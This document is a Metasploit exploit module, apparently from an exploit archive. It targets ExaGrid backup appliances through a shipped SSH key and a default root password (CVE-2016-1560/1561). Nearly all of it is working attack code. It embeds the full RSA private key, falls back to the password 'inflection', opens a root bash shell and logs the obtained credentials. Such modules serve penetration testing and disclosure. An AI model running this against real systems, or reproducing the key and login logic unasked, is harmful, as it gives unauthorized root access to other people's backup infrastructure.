ExaGrid – Known SSH Key and Default Password (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, { 'Name' => 'ExaGrid Known SSH Key and Default Password', 'Description' => %q{ ExaGrid ships a public/private key pair on their backup appliances to allow passwordless authentication to other ExaGrid appliances. Since the private key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. Additionally, this module will attempt to use the default password for root, 'inflection'. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-1560' ], # password [ 'CVE', '2016-1561' ], # private key [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ] ], 'DisclosureDate' => "Apr 07 2016", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0 })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(ssh_options) begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, 'root', ssh_options) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true) ssh_socket = nil return conn else return false end end # Ghetto hack to prevent the shell detection logic from hitting false # negatives due to weirdness with ssh sockets. We already know it's a shell # because auth succeeded by this point, so no need to do the check anyway. module TrustMeItsAShell def _check_shell(*args) true end end def exploit payload_instance.extend(TrustMeItsAShell) factory = ssh_socket_factory ssh_options = { auth_methods: ['publickey'], config: false, use_agent: false, key_data: [ key_data ], port: rport, proxy: factory, non_interactive: true } ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] conn = do_login(ssh_options) unless is_success?(conn, true) ssh_options[:auth_methods] = ['password'] ssh_options[:password] = 'inflection' ssh_options.delete(:key_data) conn = do_login(ssh_options) is_success?(conn, false) end end def is_success?(conn,key_based) if conn print_good "Successful login" service_data = { address: rhost, port: rport, protocol: 'tcp', service_name: 'ssh', workspace_id: myworkspace_id, } credential_data = { username: 'root', private_type: ( key_based ? :ssh_key : :password ), private_data: ( key_based ? key_data : 'inflection' ), origin_type: :service, module_fullname: fullname, }.merge(service_data) core = create_credential(credential_data) login_data = { core: core, last_attempted: Time.now, }.merge(service_data) create_credential_login(login_data) handler(conn.lsock) true else false end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10 hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk 86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg== -----END RSA PRIVATE KEY----- EOF end end |